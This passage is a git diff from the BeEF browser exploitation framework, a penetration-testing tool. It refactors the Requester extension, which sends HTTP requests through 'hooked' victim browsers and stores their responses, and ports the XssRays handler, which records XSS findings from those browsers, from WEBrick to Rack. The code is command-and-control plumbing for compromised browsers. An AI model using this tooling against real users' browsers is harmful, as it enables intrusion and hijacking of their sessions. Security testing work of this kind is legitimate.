for the beef.net.request Javascript API function. + # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function + # and finally sent to and executed by the hooked browser. def requester_parse_db_request(http_db_object) - # We're overwriting the URI Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser) + # We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser) tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars")) req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) params = nil @@ -72,9 +64,6 @@ module BeEF s = StringIO.new http_db_object.request req.parse(s) rescue Exception => e - # if an exception is caught, we display it in the console but do not - # stong beef from executing. That is because we do not want to stop - # attacking the hooked browser because of a malformed request. puts e.message puts e.backtrace return @@ -107,13 +96,13 @@ module BeEF } else #non-POST request (ex. GET): query parameters in URL need to be parsed and added to the URI - # creating the request object query_params = tolerant_parser.split(uri)[7] if not query_params.nil? req_uri = tolerant_parser.parse(uri).path + "?" + query_params else req_uri = tolerant_parser.parse(uri).path end + # creating the request object http_request_object = { 'id' => http_db_object.id, 'method' => req.request_method, @@ -124,14 +113,11 @@ module BeEF 'headers' => {} } end - print_debug("[PROXY] Forwarding request: host[#{req.host}], method[#{req.request_method}], path[#{tolerant_parser.parse(uri).path}], urlparams[#{query_params}], body[#{params}]") req.header.keys.each { |key| http_request_object['headers'][key] = req.header[key] } http_request_object end - end - end end end diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index 5b32042b6..64feacf97 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -14,79 +14,70 @@ # limitations under the License. # module BeEF -module Extension -module Requester - - # - # The http handler that manages the Requester. - # - class Handler < WEBrick::HTTPServlet::AbstractServlet - attr_reader :guard - - H = BeEF::Core::Models::Http - Z = BeEF::Core::Models::HookedBrowser - - # - # Class constructor - # - def initialize(data) - # we set up a mutex - @guard = Mutex.new - @data = data - setup() + module Extension + module Requester + + # + # The http handler that manages the Requester. + # + class Handler < WEBrick::HTTPServlet::AbstractServlet + attr_reader :guard + + H = BeEF::Core::Models::Http + Z = BeEF::Core::Models::HookedBrowser + + # + # Class constructor + # + def initialize(data) + # we set up a mutex + @guard = Mutex.new + @data = data + setup() + end + + def setup() + + # validates the hook token + beef_hook = @data['beefhook'] || nil + raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil? + + # validates the request id + request_id = @data['cid'] || nil + raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil? + + # validates that a hooked browser with the beef_hook token exists in the db + zombie_db = Z.first(:session => beef_hook) || nil + raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil? + + # validates that we have such a http request saved in the db + http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil + raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil? + + # validates that the http request has not be ran before + raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete" + + # validates the response code + response_code = @data['results']['response_status_code'] || nil + raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil? + + # save the results in the database + http_db.response_headers = @data['results']['response_headers'] + http_db.response_status_code = @data['results']['response_status_code'] + http_db.response_status_text = @data['results']['response_status_text'] + http_db.response_port_status = @data['results']['response_port_status'] + http_db.response_data = @data['results']['response_data'] + http_db.response_date = Time.now + http_db.has_ran = "complete" + + # Store images as binary + # see issue http://code.google.com/p/beef/issues/detail?id=368 + if http_db.response_headers =~ /Content-Type: image/ + http_db.response_data = http_db.response_data.unpack('a*') + end + http_db.save + end + end end - - def setup() - - # validates the hook token - beef_hook = @data['beefhook'] || nil - raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil? - - # validates the request id - request_id = @data['cid'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil? - - # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil? - - # validates that we have such a http request saved in the db - http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil - #print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]") - raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil? - - # validates that the http request has not be ran before - raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete" - - # validates the response code - response_code = @data['results']['response_status_code'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil? - #print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]") - - # save the results in the database - http_db.response_headers = @data['results']['response_headers'] - http_db.response_status_code = @data['results']['response_status_code'] - http_db.response_status_text = @data['results']['response_status_text'] - http_db.response_port_status = @data['results']['response_port_status'] - http_db.response_data = @data['results']['response_data'] - http_db.response_date = Time.now - http_db.has_ran = "complete" - - - # Store images as binary - # see issue http://code.google.com/p/beef/issues/detail?id=368 - if http_db.response_headers =~ /Content-Type: image/ - http_db.response_data = http_db.response_data.unpack('a*') - end - - - http_db.save - end - - - end - -end -end end diff --git a/extensions/xssrays/api.rb b/extensions/xssrays/api.rb index d5ffeaa5c..aab701e6b 100644 --- a/extensions/xssrays/api.rb +++ b/extensions/xssrays/api.rb @@ -24,7 +24,7 @@ module Xssrays # We register the http handler for the requester. # This http handler will retrieve the http responses for all requests def self.mount_handler(beef_server) - beef_server.mount('/xssrays', true, BeEF::Extension::Xssrays::Handler) + beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new) end end diff --git a/extensions/xssrays/handler.rb b/extensions/xssrays/handler.rb index a0dde9e02..5056a9051 100644 --- a/extensions/xssrays/handler.rb +++ b/extensions/xssrays/handler.rb @@ -17,29 +17,29 @@ module BeEF module Extension module Xssrays - class Handler < WEBrick::HTTPServlet::AbstractServlet + class Handler XS = BeEF::Core::Models::Xssraysscan XD = BeEF::Core::Models::Xssraysdetail HB = BeEF::Core::Models::HookedBrowser - def do_GET(request, response) - @request = request + def call(env) + @request = Rack::Request.new(env) # verify if the request contains the hook token # raise an exception if it's null or not found in the DB - beef_hook = get_param(@request.query, 'hbsess') || nil + beef_hook = @request['hbsess'] || nil raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Invalid beefhook id: the hooked browser cannot be found in the database" if beef_hook.nil? || HB.first(:session => beef_hook) == nil - rays_scan_id = get_param(@request.query, 'raysid') || nil + rays_scan_id = @request['raysid'] || nil raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Raysid is null" if rays_scan_id.nil? - if (get_param(@request.query, 'action') == 'ray') + if @request['action'] == 'ray' # we received a ray parse_rays(rays_scan_id) else - if (get_param(@request.query, 'action') == 'finish') + if @request['action'] == 'finish' # we received a notification for finishing the scan finalize_scan(rays_scan_id) else @@ -47,25 +47,39 @@ module BeEF raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Invalid action" end end + + response = Rack::Response.new( + body = [], + status = 200, + header = { + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST' + } + ) + response end # parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed. def parse_rays(rays_scan_id) xssrays_scan = XS.first(:id => rays_scan_id) - hooked_browser = HB.first(:session => get_param(@request.query, 'hbsess')) + hooked_browser = HB.first(:session => @request['hbsess']) if (xssrays_scan != nil) xssrays_detail = XD.new( :hooked_browser_id => hooked_browser.id, - :vector_name => get_param(@request.query, 'n'), - :vector_method => get_param(@request.query, 'm'), - :vector_poc => get_param(@request.query, 'p'), + :vector_name => @request['n'], + :vector_method => @request['m'], + :vector_poc => @request['p'], :xssraysscan_id => xssrays_scan.id ) xssrays_detail.save end print_info("[XSSRAYS] Received ray from HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]") - print_debug("[XSSRAYS] Ray info: \n #{@request.query}") + print_debug("[XSSRAYS] Ray info: \n #{@request.query_string}") end # finalize the XssRays scan marking the scan as finished in the db @@ -77,12 +91,6 @@ module BeEF print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]") end end - - #assist function for getting parameter from hash - def get_param(query, key) - return nil if query[key].nil? - query[key] - end end end end